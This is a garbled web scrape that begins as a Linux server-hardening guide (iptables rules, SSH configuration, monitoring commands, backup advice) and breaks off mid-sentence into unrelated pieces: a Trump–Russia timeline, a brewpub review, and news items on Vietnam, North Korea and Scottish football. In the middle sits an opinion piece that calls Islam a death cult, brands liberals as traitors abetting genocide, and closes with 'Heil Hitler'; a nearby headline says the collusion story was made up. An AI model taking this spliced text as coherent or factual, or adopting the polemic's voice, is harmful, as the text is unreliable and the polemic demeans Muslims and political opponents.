#!/bin/bash IPT="/sbin/iptables" # flush old rules, old custom tables $IPT --flush $IPT --delete-chain $IPT -t nat --flush $IPT -t nat --delete-chain $IPT -t mangle --flush $IPT -t mangle --delete-chain # set default policies for all three default chains $IPT -P INPUT DROP $IPT -P FORWARD DROP $IPT -P OUTPUT ACCEPT # enable free use of loopback interfaces $IPT -A INPUT -i lo -j ACCEPT $IPT -A OUTPUT -o lo -j ACCEPT # leave established connections open (like current ssh) $IPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # security checks: force SYN checks, drop all fragments, drop XMAS packets, drop null packets # see: http://security.blogoverflow.com/2011/08/base-rulesets-in-iptables/ $IPT -A INPUT -p tcp! --syn -m state --state NEW -j DROP $IPT -A INPUT -f -j DROP $IPT -A INPUT -p tcp --tcp-flags ALL ALL -j DROP $IPT -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # allow icmp $IPT -A INPUT -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT $IPT -A INPUT -p icmp -m icmp --icmp-type fragmentation-needed -m limit --limit 1/second -j ACCEPT $IPT -A INPUT -p icmp -m icmp --icmp-type source-quench -m limit --limit 1/second -j ACCEPT # allow ssh $IPT -A INPUT -p tcp --dport 22 -m state --state NEW -s 0.0.0.0/0 -j ACCEPT
#!/bin/bash IPT="/sbin/ip6tables" # flush old rules and custom tables $IPT --flush $IPT --delete-chain # drop all traffic $IPT -P INPUT DROP $IPT -P FORWARD DROP $IPT -P OUTPUT DROP
Increase the if you are using stateful firewall rules, like the preceding example, be sure to increase the maximum number of connections that you can track. Otherwise, an attacker can use a distributed denial-of-service (DDoS) attack on you.
Use SYN Cookies to prevent SYN flood DoS attacks. Thomas Pornin provides a great explanation of what SYN flood attacks are and how SYN cookies mitigate this type of attack.
Log all martian packets because any packet coming from an unroutable source or destination address is most likely going to be malicious.
#!/bin/bash # to view any of these settings use # sysctl -n x=y # increase connection tracking sysctl -w net.netfilter.nf_conntrack_max=16777216 # enable syn cookies sysctl -w net.ipv4.tcp_syncookies=1 sysctl -w net.ipv4.tcp_synack_retries=5 # log martian packets sysctl -w net.ipv4.conf.all.log_martians=1 sysctl -w net.ipv4.conf.default.log_martians=1
/etc/sysctl.conf
net.netfilter.nf_conntrack_max = 16777216 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_synack_retries = 5 net.ipv4.conf.all.log_martians = 1 net.ipv4.conf.default.log_martians = 1
Summary
DO: Deny traffic by default. Explicitly allow only traffic that you know must traverse your network.
DON’T: Unilaterally restrict ICMP.
DO: Allow free access to the loopback interface.
DO: Force some basic security checks.
DO: Ensure that your rules are loaded on restart.
DO: Tune your TCP/IP stack to increase the number of connections tracked and protected against SYN floods.
Remote Login
Description
Give limited access to users so a compromise of one user account does not compromise your entire infrastructure.
Strong cryptography ensures that an eavesdropper can’t read your communication.
Attackers can’t use brute force techniques to log in to your servers.
Even if your key is compromised, an attacker can’t gain access to your infrastructure.
An attacker who does use brute force techniques can’t exhaust server resources.
Only authorized users have access to your servers.
No login for general purpose administrative accounts exists. All administrative actions are taken via some form of privilege escalation ( sudo ) to log the actions performed.
Mitigation
ssh-keygen
ssh-keygen -t rsa -b 4096 -C [email protected]
/etc/ssh/sshd_config
Protocol 2 PasswordAuthentication no PubkeyAuthentication yes PermitRootLogin no LogLevel VERBOSE
Protocol 2 ensures that you are using a secure version of the SSH protocol. Version 1 of the protocol has quite a few issues with it and is considered broken.
PasswordAuthentication no and PubkeyAuthentication yes force you to use public key cryptography, and not passwords, to authenticate to your servers. Although you can have a strong password, if you have randomly generated 2048-bit password that’s encoded in ASCII, most passwords are bad and password lengths that are commonly used have a much smaller search space than a large key.
and force you to use public key cryptography, and not passwords, to authenticate to your servers. Although you can have a strong password, if you have randomly generated 2048-bit password that’s encoded in ASCII, most passwords are bad and password lengths that are commonly used have a much smaller search space than a large key. PermitRootLogin no disables the ability remotely log in as the root user. Although this is not a directly exploitable issue, disabling this remote login helps you keep good audit logs to understand what is happening on your servers. The root account acts as a shared administrative account, which limits your ability to audit which user is performing which privileged action. If you force all users to go through their own accounts, you will have an auditable trail of which user performed what action. Details about how to set up audit logging are provided in a later section.
disables the ability remotely log in as the root user. Although this is not a directly exploitable issue, disabling this remote login helps you keep good audit logs to understand what is happening on your servers. The root account acts as a shared administrative account, which limits your ability to audit which user is performing which privileged action. If you force all users to go through their own accounts, you will have an auditable trail of which user performed what action. Details about how to set up audit logging are provided in a later section. LogLevel VERBOSE logs the user and key fingerprint that made an attempt to authenticate. Again, this setting does not directly mitigate an exploit, but is good for auditing.
/etc/ssh/ssh_config
Host * Protocol 2 HashKnownHosts yes StrictHostKeyChecking ask
Protocol 2 ensures that you are using a secure version of the SSH protocol. Version 1 of the protocol has quite a few issues with it and is considered broken.
HashKnownHosts yes hashes host names and addresses in your ~/.ssh/known_hosts file. Even if an attacker steals your known hosts file, they can’t simply enumerate the hosts you connect to with your key.
hashes host names and addresses in your file. Even if an attacker steals your known hosts file, they can’t simply enumerate the hosts you connect to with your key. StrictHostKeyChecking ask checks the key presented to you against the one in your ~/.ssh/known_hosts file and, if it has changed (or it is the first time you are visiting that host), asks you if you will accept that key. This helps mitigate man-in-the-middle attacks.
Local user accounts. In this approach, you create local Unix accounts for your users and only create the accounts on the servers that they need access to. You can use the newusers and userdel commands to accomplish this and automate/orchestrate this using configuration management tools like Chef or Ansible. Centralized authentication service like LDAP. With this approach, the servers that each user has access to is defined and stored within the LDAP server configuration.
Summary
DO: Passphrase protect your key.
DON’T: Assume that your distribution has acceptable defaults and strictly define what is important for your infrastructure.
DO: Use public-key-based cryptography for authentication instead of password-based authentication.
DON’T: Give all users unfettered access, scope access to the parts of your infrastructure that is needed.
Trust Boundaries
Description
Mitigation
Strengthening the Service Endpoint (and Everything Else)
10.0.0.0/16
/etc/network/interfaces
/etc/sysconfig/network-scripts/ifcfg*
iptables
ssh-agent
ProxyCommand
ssh-agent
ssh-agent
ProxyCommand
ProxyCommand
~/.ssh/authorized_hosts
~/.ssh/config
Host jump.example.com HostName 172.32.10.3 # public Host lb.example.com Hostname 10.10.10.4 # private ProxyCommand ssh -W %h:%p jump.example.com Host server1.example.com Hostname 10.10.10.5 # private ProxyCommand ssh -W %h:%p jump.example.com Host server2.example.com Hostname 10.10.10.6 # private ProxyCommand ssh -W %h:%p jump.example.com
server1.example.com
server2.example.com
workstation.example.com
ssh server1.example.com
ssh server2.example.com
Summary
DO: Use a load balancer to separate your application HTTP server from your public-facing HTTP server.
DO: Terminate TLS at the load balancer.
DO: Use a hardened jump host to control access to your infrastructure.
DON’T: Use SSH agent, if possible. It leaves all your keys possibly exposed if someone has a local privilege escalation exploit.
DO: Use the public and private interfaces that your service provider provides to isolate your internal services from the public Internet.
Monitoring and Logging
Description
Mitigation
who – Shows you who is logged in at the moment. $ who foouser pts/0 2015-07-07 13:54 (10.10.10.10)
– Shows you who is logged in at the moment. last -a – Shows you a list of the last few logged in users. Prints the username, logged in time, as well as the IP addresses logged in from. $ last -a | head -n 10 foouser pts/20 Tue Jul 7 17:47 still logged in 10.10.10.10 baruser pts/19 Tue Jul 7 16:58 - 17:53 (00:54) secure1.example.com bazuser pts/18 Tue Jul 7 15:55 still logged in secure2.example.com
– Shows you a list of the last few logged in users. Prints the username, logged in time, as well as the IP addresses logged in from. netstat -plntu – Shows process names and the ports they are listening for connections on. $ sudo netstat -plntu Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd tcp6 0 0 :::22 :::* LISTEN 1234/sshd
– Shows process names and the ports they are listening for connections on. netstat -ap – Shows a live stream of all connections including established outbound connections. $ sudo netstat -ap Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1234/sshd tcp6 0 0 :::22 :::* LISTEN 1234/sshd tcp 0 0 10.10.10.11:http 10-11-example.com:13012 SYN_RECV - tcp 0 0 10.10.10.12:http 10-12-example.com:35076 SYN_RECV -
– Shows a live stream of all connections including established outbound connections. find / -mtime -1 -ls | head -n 20 – List top 20 files modified within the last 24 hours. $ sudo find / -mtime -1 -ls | head -n 20 3 0 crw--w---- 1 foobar tty Jul 9 12:58 /dev/pts/0 7 0 crw--w---- 1 root tty Jul 9 12:58 /dev/pts/4 6319 0 crw-rw-rw- 1 root tty Jul 9 12:58 /dev/ptmx 5311 0 crw-rw-rw- 1 root tty Jul 9 12:58 /dev/tty 1187826 4 drwxr-sr-x 38 man root 4096 Jul 9 06:39 /var/cache/man [...]
– List top 20 files modified within the last 24 hours. faillog -a to see a summary of login failures. This is also useful to limit the number of maximum failed logins that a user has. $ faillog -a Login Failures Maximum Latest On root 0 0 12/31/69 19:00:00 -0500 daemon 0 0 12/31/69 19:00:00 -0500 bin 0 0 12/31/69 19:00:00 -0500 sys 0 0 12/31/69 19:00:00 -0500 [...] foobar 0 0 12/31/69 19:00:00 -0500
to see a summary of login failures. This is also useful to limit the number of maximum failed logins that a user has. tcpdump -i eth1 -s 0 -A tcp port http – Dumps all HTTP traffic on interface eth1. This is useful if you have found something suspicous using netstat and want to dig in deeper. This guide can not give you all the ins-and-outs of tcpdump, but there are a variety of resources on the internet to help you understand tcpdump.
General Application Logs
System Logs
/var/log/auth.log – System authentication logs.
– System authentication logs. /var/log/syslog – If you are not sending logs to a particular syslog facility, they will be located here.
– If you are not sending logs to a particular syslog facility, they will be located here. /var/log/messages – General system log messages.
– General system log messages. ~/.bash_history – List of Bash commands that were executed by the user. This log can be easily manipulated or wiped by sophisticated attackers.
– List of Bash commands that were executed by the user. This log can be easily manipulated or wiped by sophisticated attackers. /var/log/utmp and /var/log/wtmp – These logs contain the current logged-in users and the history of all logged-in users. Use last -f <file> to view these files.
Summary
Learn a few basic commands that can help you figure out what is currently happening on your servers. These commands include who, last, lsof, netstat, faillog, and find.
,,,,, and. Figure out what you need to log. Logs are not useful if they don’t capture security critical events. At the very minimum, monitor the following files: /var/log/auth.log, /var/log/syslog, and /var/log/messages.
,, and. Start centralizing your logs as early as possible. Using syslog now instead of some custom logging framework will makes shipping the logs to a central logging server easier in the future.
Using Cryptography
Description
Mitigation
Use a modern symmetric cipher. Two commonly suggested candidates are AES and Salsa20 (NaCl).
If your symmetric cipher supports different modes, carefully select the mode. For example, CBC is a good mode to use with AES, but ECB is not.
Use a Message Authentication Code (MAC) to ensure that the encrypted data has not been tampered with. HMAC-SHA-512 or Poly1305 are good candidates.
Use a high-quality source of random, which typically means using /dev/urandom to obtain random numbers used in keys, salts, and nonces.
to obtain random numbers used in keys, salts, and nonces. If the library or tool works with passphrases, ensure that it uses a KDF to transform the passphrase into a key.
Summary
DON’T: Randomly pick the mode you are using your symmetric cipher in.
DO: Use an authenticated symmetric cipher with a MAC.
DO: Use /dev/urandom to generate random material.
to generate random material. DO: Use a “recipe” like lemma or Fernet if you can.
Backups
Description
Mitigation
Don’t under secure your backups because they don’t seem to be mission critical for your service. Attackers frequently target backup infrastructure for just this reason.
Back up as frequently as is appropriate for your business needs. Once a day is reasonable.
Your backup servers should have limited access, and the accounts that do exist should use different authentication and authorization mechanisms than those used for the rest of your infrastructure. For example, your backup servers should use a different SSH key for login. If you do these things and your main environment is compromised, you will still have trustworthy backups you can restore from.
If you don’t want to run your own backup infrastructure, backup to a third-party data store like Amazon S3. Do note that if you are going to use any third-party service, encrypt your backups before you send your data to them. Work with the assumption that your data store is a public data store and use encryption to protect your data. If you work with this mindset, even if your host is compromised, your data is safe.
If you are using Amazon S3 or Rackspace CloudFiles, use an authenticated cipher recipe like lemma or Fernet. If you don’t want to think about the cryptography, use a service that encrypts your data on the client and only sends encrypted blobs to its service like Tarsnap.
Back up your source code repositories, any third-party software that your application uses, and your database. The recent example of FoundationDB illustrates the importance of backing up any software that you use. Software downloads can be revoked by the developer at any time for any reason.
Although distributed version control systems (DVCSs) like Git provide some redundancy, they don’t replace actual backups. You don’t want to rely on a particular branch being on a co-workers workstation to ensure business continuity.
Back up your database using the method that the database prescribes.
Restore from backups as often as you run backups themselves. Backups are of no use if they are not usable. Ideally, you can run some auxiliary services that don’t require the most recent data against your restored backups. That way if something goes wrong, you’ll know immediately.
Ensure that multiple people on your team are capable of restoring from backups. You might be able to figure out how to restore your backups, or maybe not. It might take an hour or ten hours. It’s better to spend a few hours every quarter reviewing your backup infrastructure with a co-worker.
Summary
DON’T: Use the same accounts for backups as your primary environment.
DO: Backup source repositories, third-party software, and databases.
DO: Attempt to restore from backups as often as you run the backup procedure.
DO: Run auxiliary services off of restored backups if you can.
DON’T: Have a single point of failure, have multiple people on your team be capable of restoring from backups.
DO: Encrypt your backups with an authenticated cipher. Use a tool like lemma or Fernet, or a hosted solution like Tarsnap.
Modified on: January 22, 2019 Modified on: January 22, 2019
Aggressively applying security updates for software you didn’t write might seem like a poor way to protect your infrastructure and perhaps even pointless. However, it’s one of the best time investments you can make, from a security perspective. Following are two examples of recent security issues that unsophisticated attackers using automated tools can exploit if you have not updated your servers with the latest security patches:These two issues alone would give an attacker complete control of your entire infrastructure. Luckily mitigating these bugs is not difficult.Consistently apply security updates provided by your operating system vendor. Most vendors have an automated method. For example, for Debian based systems, you can use Unattended Upgrades, and for Red Hat based systems, you can use AutoUpdates. Automated patching is great, however, it does have a potential downside (to your business) if you don’t test your software before you apply patches to production servers: things can unexpectedly break. As much as package maintainers try and ensure that security updates don’t contain breaking changes, package maintainers can not test every combination that may be running somewhere before release. That’s why it’s important to either have a staging Continuous Integration/Continuous Deployment (CI/CD) system or manually test security updates before rolling them out to production servers. Just applying these security updates is not enough, however. If the issue is in a shared library, you will be using the old version of the library and still be vulnerable to exploitation until you restart the process that is linked to it. To check whether you have any binaries that need to be restarted, you can use checkrestart for Debian based systems and needs-restarting for Red Hat based systems.Hardening your application by using OS-level facilities is an effective approach for limiting the scope of damage that attackers can do after they exploit a vulnerability in your application. This section focuses on using traditional Unix Access Control facilities that most users are familiar with to restrict your application to the minimal set of access it needs to operate. The facilities are permissions on files, user identifier (UID), and root access. The goal of this section is not to harden your application to the extent that an attacker can not compromise your application. That is an almost impossible goal. To goal is to limit what an attacker can do once your application has been compromised. After an attacker has exploited your application, the attacker will be able to perform actions as your application, and possibly even elevate their privileges to root which allows them to have full and complete access to your operating system. The goal is instead to restrict the actions that your application can perform to the limited set that it needs to operate, which in turn restricts the attacker.You want to restrict your application such that even if an attacker has exploited your process and can execute code as that user account, the user has limited access rights on the file system. The same concept applies to the process under which the account is executing: restrict the CPU time, memory, and file descriptor count to mitigate DOS style attacks where the attacker exhausts your resources. The goal is to force the attacker to use a privilege escalation attack (exploit another part of your operating system to elevate their privileges higher than the running application) to do anything meaningful on your system. To restrict the account on which your application runs, use the following guidelines:To restrict the process that runs your application, use the following guidelines:Strong firewall rules enable you to define what inbound and outbound communication is allowed from your servers. Starting with a default deny policy and allowing only specific traffic in and out forces you to think about the minimal set of services that you want to expose, which in turn can lower your risk of attack. An errant process cannot expose your entire infrastructure to the general public unless you specifically allow it to. This section focuses on inbound firewall rules and TCP/IP stack settings. Although outbound firewall rules are very effective in limiting how far an attacker can go after they have gotten inside your infrastructure, the next version of this guide will focus on them.First firewall rules. When building a script for firewall rules, use the following guiding principles.Following is a commented script that accomplishes all of these goals:Following is a small script for IPv6 traffic:These rules are now running in memory, and you need to ensure that they are loaded the next time your operating system restarts. For Debian based systems, that means either adding your firewall rules to /etc/network/ip-pre-up.d/ or adding a pre-up command to /etc/network/interfaces. For Red Hat systems, this is typically done by using the /sbin/service iptables save command. In addition, the following TCP/IP stack hardening/tuning is recommended:You can try out all the above settings with the following script:To persist these settings across a reboot, updateFor remote login, you want to ensure not only that communication with your servers is encrypted but also that only authorized users have access to your servers. Following are typical goals when you are securing remote login:Failure to realize any one of these goals can be a security risk. Weak (or no) cryptography can allow an attacker to view your communication. Weak authentication can allow unauthorized users access to your systems. Luckily, Secure Shell (SSH) mitigates most of these risks, and with a few minor tweaks to your systems, all of them can be mitigated.To start with, generate your SSH key correctly by ensuring that you are using a key size that is large enough and your key is passphrase protected. You can do that by usingThen when prompted, enter a passphrase! A passphrase ensures that even if someone steals your key they cannot use it without also knowing your passphrase. OpenSSH has a reasonable default configuration that is quite secure. However, some distributions might weaken these defaults to make OpenSSH interoperability with legacy servers. The following configuration simply ensures that those. For more detailed information about Open
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that a man named Carter Page is one of his foreign policy advisors. Julia Ioffe later reports in Politico that though Page is supposed to be an expert on Russia, few prominent people have any idea who he is—though his new proximity to Trump was helping him get meetings with VIPs.
April: Paul Manafort, a longtime political operative who worked for the pro-Russian Ukrainian leader Viktor Yanukovych, takes charge of the Trump campaign in advance of the GOP convention.
June: It's reported that Russian hackers gained access to the Democratic National Committee email system, stealing opposition research files on Trump, among other things. Russia denies this, and Trump bizarrely claims that the DNC invented the story in order to distract from other issues.
Early July: As reported later by Yahoo News, Page goes on a visit to Russia where he meets with government officials, which worries some people in US intelligence. (When asked by Yahoo about this in September, the Trump camp said Page had "no role" in the campaign.)
Later in July: During a GOP platform committee meeting, Trump's representatives move to strike language about providing weapons to Ukraine so it could defend itself against Russian-backed rebels. This was notable, NPR reported, because Trump's people didn't ask for much else on the platform. (Obama was also against providing weapons to Ukraine on the grounds that it would escalate the conflict, but many Republicans were in favor of it.)
Also late July: Wikileaks publishes emails stolen from the DNC, the most damaging of which paint a picture of a Democratic party that was backing Hillary Clinton over Bernie Sanders, making it more difficult for Clinton to unify the party after a contentious primary campaign.
July 26: In response to a lot of stories about Trump's Russia-friendly statements, the hacking stories, and his staff's ties to Russia, the Republican nominee takes to Twitter:
August: Manafort resigns from the Trump campaign as a series of stories breaks about his ties to pro-Russian politicians. The most salacious of these involves Yanukovych secretly paying Manafort $12 million, an allegation he denies.
September 26: At the first presidential debate, Trump continues to insist that no one knows who is behind the DNC hack: "She's saying Russia, Russia, Russia. Maybe it was. It could also be China, it could be someone sitting on their bed that weighs 400 pounds. You don't know who broke into DNC, but what did we learn? We learn that Bernie Sanders was taken advantage of by your people."
Early October: Wikileaks begins publishing emails stolen from the account of Clinton campaign chair John Podesta, a slow drip of stories that will dog Clinton until Election Day. Later reporting and investigations indicate that the same group that hacked the DNC also targeted Podesta—Russian-backed hackers, in other words.
October 30: As the campaign heads into the home stretch and the media focuses on a statement from FBI head James Comey about the continued investigation into Hillary Clinton's improper email procedures, Senate Minority Leader Harry Reid writes an angry letter to Comey:
"It has become clear that you possess explosive information about close ties and coordination between Donald Trump, his top advisors and the Russian government — a foreign interest openly hostile to the United States, which Trump praises at every opportunity... The public has a right to know this information."
What Reid is talking about isn't immediately apparent, but Mother Jones reports the next day that it probably has something to do with a dossier of explosive allegations against Trump that's been circulating in DC political circles for some time. The public won't know what's in that dossier until after the election, however.
November 1: The FBI reveals that it looked into ties between Trump and the Kremlin and found nothing concrete.
November 8: Trump beats Clinton in an election that comes down basically to mere thousands of voters scattered across a few Midwestern states. With a result like that, it's possible to point to a lot of factors as being decisive, but the spread of anti-Clinton stories based on Wikileaks-provided emails surely had an effect.
November 11: Russian officials say they had contact with Trump's team in order to push for a favorable foreign policy from the candidate. Trump's camp denies this.
December: The FBI and CIA agree that Russian efforts to influence the election were specifically targeted in order to help Trump win, and were not just an attempt to delegitimize America's democratic system. Trump refuses to believe this, igniting a public spat between the president-elect and the intelligence community. Meanwhile, some members of Congress from both parties are calling for an investigation into the matter.
December 29: Obama announces new sanctions on Russia in retaliation for the interference in the US election.
Late December: Michael Flynn, Trump's pick for national security advisor—who has his own ties to Russia, including a paid appearance at a state-sponsored media event—calls Russian Ambassador Sergey I. Kislyak.
From here on out, uh, things happen pretty quickly.
January 10: Remember that report that Reid and Mother Jones alluded to? Well, after CNN revealed that Obama and Trump had been briefed on its existence, Buzzfeed went ahead and published the whole thing, even though it contained explosive and imposslbe-to-verify allegations, like that Russia had been cultivating Trump for years, and that Trump had been filmed by spies watching prostitutes piss all over a bed the Obamas had once slept in.
January 11: In his first press conference since the election, Trump finally admits that Russia was behind the email hacks, though he stops short of really saying that it was a problem. "Hacking's bad, and it shouldn't be done. But look at the things that were hacked, look at what was learned from that hacking."
January 12: A Washington Post column by David Ignatius reports that Flynn may have talked about sanctions in his call to Kislyak, potentially a violation of an obscure law against private citizens conducting diplomacy. The Trump administration denied that Flynn talked sanctions, starting a wave of denials:
January 13: White House Press Secretary Sean Spicer says that Flynn never talked sanctions.
January 15: Vice President Mike Pence says the same thing on several TV shows. So does Reince Priebus.
January 26: The Justice Department tells the White House that Flynn actually did talk about sanctions to the Russians, and that since he misled the public about the call he might be vulnerable to blackmail. Trump doesn't do anything with this information, later saying that his legal team didn't believe that Flynn violated the law during that call.
February 9: The Post drops a bombshell report revealing that Flynn talked about sanctions during the call—contradicting all those denials.
February 10: Asked about Flynn, Trump said he wasn't aware of the Post story and brushes aside the question.
February 13: After a few confusing days of conflicting information from the White House, Flynn is asked to resign.
February 14: Members of Congress call—again—for an investigation into ties between Trump and Russia. Meanwhile, it's reported that Trump campaign officials did have some contact with Russian officials, which Trump continues to deny.
February 16: Trump holds a press conference clarifying that Flynn was let go not because of anything he did during the call to the Russia ambassador, but because he misled Pence about that call. Flynn was "doing his job" during the call, Trump said, but the president "was not happy" about the conversation he had with Pence. He also repeatedly denounced the leaks that have plagued his administration, called the resulting stories "fake news," and mused that "it would be great if we could get along with Russia."
Then, a few minutes later: "Does anyone believe that Hillary Clinton would be tougher on Russia than Donald Trump?"After a week of sporadic soft openings, Austin Beer Garden Brewing Co. will officially be open for business this afternoon.
Like most beer obsessed Austinites, we’ve been eagerly awaiting the launch of the brewpub helmed by former Uncle Billy’s Brewers Amos Lowe and Brian “Swifty” Peters for what definitely seems like eons, and our numerous visits in the past week certainly did not disappoint.
Located at “Oltorf & The Tracks,” aka 1305 W. Oltorf, The ABGB will open just in time for Labor Day Weekend with eight beers on tap–Hell Yes Helles, Day Trip Pale Ale, Superliner IPA, Big Mama Red, Oktoberfest, Field Trip Belgian Pale Ale, Gretchen’s Brown and Hop Dead Gorgeous Cascadian Dark. The pizza selection is also something to write blog home about, with a delectable array of pies topped with fixin’s ranging from margherita topping to clams. Hell, even the plain cheese pizza is cooked with such a balance of fresh ingredients and culinary finesse that it’s anything but boring.
But let’s get back to the beer–if you’re familiar with Peters and Lowe’s past work, the brews here certainly don’t disappoint. The lineup is helmed by some solid, sessionable lagers and pale ales–clean flavorful beers that seem to disappear from your glass with shocking ease. (Seriously….who drank my beer?) And, at only $2.50 for a 10 oz pour (affectionately dubbed a “Swifty”) and $4.50 for a mug, attendees can sling back a few brews without breaking the bank.
While still not totally finished upon our last visit, the brewpub’s already gorgeous interior has an industrial tone, befitting of the converted building it’s housed in, but with enough beautiful woodwork on the large bar and new tables to still make it feel warm and cozy. An outdoor beer garden perfectly encapsulates a laid back “beers in the backyard” type vibe. Dare we say, perfect for Labor Day Weekend.
The ABGB’s Labor Day Weekend Hours:
3PM Friday GRAND OPENINGWait a minute. That’s not how the lyrics are supposed to go. It’s… “Five foot two, eyes of blue…but oh, what those five foot could do… has anybody seen my girl?” (Shane Fenton and The Fentones). Evidently Egyptian student Sayid Qutib saw too much of that gal and what those five feet could do when he walked into an American church dance in 1949. He wrote about the “animal-like mixing of the sexes,” to the American hit tune of “Baby it’s cold outside”… and was so disgusted by what he saw that he went on to write 24 books. He is considered by many to be the father of modern “radical” Islam…
It would be nice to believe Islam was peaceful prior to Qutib’s writings, but history shows Quran’s teachings to have been part of general Muhammad’s military strategy to forward his militant purposes. When you think about it, that doesn’t really sound so bad does it? I mean, Judeo/Christian texts show our patriarchs fighting for the promised land of Israel.
The thing is … I’m kind of suspicious of the Quran because it includes no valid genealogy, and no appropriate prophesy by which we can judge whether or not this “holy” text is truly inspired. Muhammad wore a lot of hats. Not only was he a general but he was also a merchant for 26 years.
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Will the media learn anything from their biased reporting of the Jussie Smollett story? Will the media learn anything from their biased reporting of the Jussie Smollett story?
Will the media learn anything from their biased reporting of the Jussie Smollett story? * Yes, they've gotten so much wrong recently that they're bound to be on their best behavior. No, they suffer from a bad case of Trump Derangement Syndrome. Jussie who?
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Trending: Federal Prosecutor Admits – Russia Collusion Story was ‘Made Up’!
So we’re looking at a merchant who was good at selling stuff, and who had enough contact with Jews to learn from them and unlawfully appropriated pieces of their Book the Bible. Can anyone say Copyright Infringement?
But it worked! It brought peace to an Arabic people for whom generations, tribes and towns had operated under vendetta rather than as a cohesive unit. Perhaps this is why Sharia is known as the path to peace. Muhammad did some virtuous looking things like giving to the poor and uniting his people, but he also founded a death cult of suicidal terrorists that led to generations of genocides of other people groups around the world.
Perhaps Adolph Hitler said it best,” Any violence which does not spring from a spiritual base, will be wavering and uncertain. It lacks the stability which can only rest in
a fanatical outlook.” In 2015, a group of German teachers said, an annotated edition of Adolf Hitler’s ‘Mein Kampf’ should be taught in senior high school to help ‘ inoculate ‘ teenagers AGAINST political extremism.” ( Breitbart article….emphasis mine) I wonder… if the Nazi regime had not lost the war… would ‘Mein Kampf’ be part of America’s core curriculum even as Islamic teaching has been?
Liberals are selling themselves as the next great history makers of our time. They are the ones who are looking after the “poor refugees”. They do so in groups of violent protesters whose behavior is extremely similar to previous ethnic cleansers throughout history. For me, their behavior brings to mind a scene in Fiddler on the Roof where the Russians torch the wedding of Tevye’s daughter.
Oh sure Liberals, we can pretend to be politically correct if you want us to. We can pretend that Trump is the real Hitler and that you do not demand his death. We can pretend that your jihadist allies are not burning our flag in other countries and calling for the death of our ENTIRE NATION. We can pretend that you are not behaving as traitors and attempting to abet in the genocide of the American people by encouraging unrestricted immigration of terrorists.
We can pretend you deserve a special chapter in our children’s history books. In fact we will give it to you. It’s on page 2017… a special shout out for you… Heil Hitler.
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The opinions expressed in this commentary are solely those of the author and are not not necessarily either shared or endorsed by iPatriot.com.“Vietnam has demonstrated itself that it doesn’t deserve the closer ties the U.S. is offering,” said John Sifton of Human Rights Watch. “Detaining or preventing civil society from meeting President Obama is not just an insult to the president, it’s also a human rights abuse in itself, a deprivation of the right to freedom of expression and freedom of movement.”
The activists kept from the meeting included Nguyen Quang A, 69, a businessman who had tried to run this year as an independent candidate for Parliament but was disqualified by the government.
He had been detained by plainclothes security officers, he said later by telephone. They shoved him into a car outside his home in Hanoi at 6:30 a.m. Tuesday, confiscated his cellphone, preventing him from contacting his family, and then drove him 50 miles east of Hanoi.
“I was taken on a touristic tour,” he said. The men declined to say why they were driving him around for seven hours, just saying to him, “You know why we have to do this.”
A prominent blogger and journalist, Pham Doan Trang, who had flown to the Vietnamese capital from Ho Chi Minh City on Monday, was also barred from attending. She had not been heard from since landing in Hanoi, according to Phil Robertson, deputy director of the Asia division of Human Rights Watch.TOKYO (Reuters) - Japan’s Coast Guard found the body of a male and parts of a wooden boat suspected to be from North Korea on the coast of one of Japan’s outlying islands on Saturday, an official said.
The Coast Guard made the discovery around 6:30 a.m. on Saturday (2130 GMT on Friday) on Sado island, which is off the coast of Japan’s northwestern prefecture of Niigata, a coast guard official said, declining to give his name.
The guard also found a pack of cigarettes written in Korean and other personal belongings with Korean written on them near the body, the official said.
The cause of death is still unknown, the official said.
The discovery on Saturday marks the second time this month that parts of a wooden boat suspected to be from North Korea have washed up on the shores of Sado island, the official said.
Finding the body will add to the increasing unease in Japan and South Korea over North Korea’s nuclear arms program after U.S. President Donald Trump redesignated North Korea a state sponsor of terrorism, allowing the U.S. government to levy additional sanctions.
On Friday, police found eight North Korean men near a boat at a seaside marina in northern Japan. The men appeared to be fishermen whose boat had trouble, rather than defectors, the police said.
Last week, the Coast Guard rescued three North Korean men on a capsized boat in the Sea of Japan who said they were fishermen and were later sent home aboard a North Korean vessel.
A North Korean soldier dramatically defected to South Korea last week after being shot and wounded by his country’s military as he dashed across the heavily guarded Demilitarized Zone between the two countries.Dundee United have branded the SFA judicial panel’s decision to ban Paul Paton as “incredulous” and “mystifying.”
The Tangerines midfielder was found to have breached the governing body’sdisciplinary rule 200 “by spitting at anopponent at a match”.
The opponent in question was Aberdeen’s Jonny Hayes but the alleged “victim” said Paton didn’t do it.
The incident was supposed to have occurred following a challenge from Paton on Hayes in the 78th minute of Saturday’s Tangerines v Dons clash at Tannadice, afoul for which the home player received abooking.
The allegation came afterwards as video footage of the game was posted on theinternet pictures that looked inconclusive.
Hayes then took to Twitter to say that his opponent wasinnocent a plea that was ignored by the SFA at Thursday’s Hampden hearing.
The Dons player wrote: “Just wanna clear it up that Paul Paton never spat at me, what happens and is said on the pitch is brushed aside at the end of 90 mins!
“To the Scottish FA, I’d never want to see a fellow pro being accused or found guilty of something that never happened!
“And what happened on Saturday will stay between myself and Paul, we’ve spoken on this non issue, and if asked I’ll confirm what happened.”
After news of the SFA’s decision came through, Paton tweeted: “”I honestly have no words?! Can’t say too much, just wow.”
And United’s response was swift and scathing. They feel their player is the subject of a miscarriage of justice and confirmed that Paton will be appealing the immediate two-match ban handed to him.
A club spokesman said: “The player will certainly be appealing thisdecision and will be given our full backing in this matter. The decision today relating to Paul Paton is incredulous.
“We are stunned firstly that it was brought in front of the judicial panel by the newcompliance officer (Tony McGlennan) and secondly that the judicial panel have found the player guilty of something that we do not believe to have taken place.
“It is truly mystifying that three people in a room at Hampden Park in Glasgow on a Thursday afternoon can see something that was not seen by the referee, first assistant, second assistant, fourth official, SPFLdelegate, the managers of either team, the players of either team including the alleged villain and victim not to mention the 11,168 supporters in the stadium.
“As part of our original defence submission we studied enlarged video footage to ensure our player was not guilty of such an offence. We were sound in our belief that no such action had taken place and we willcontinue to support the player in this matter through the appeal process.”
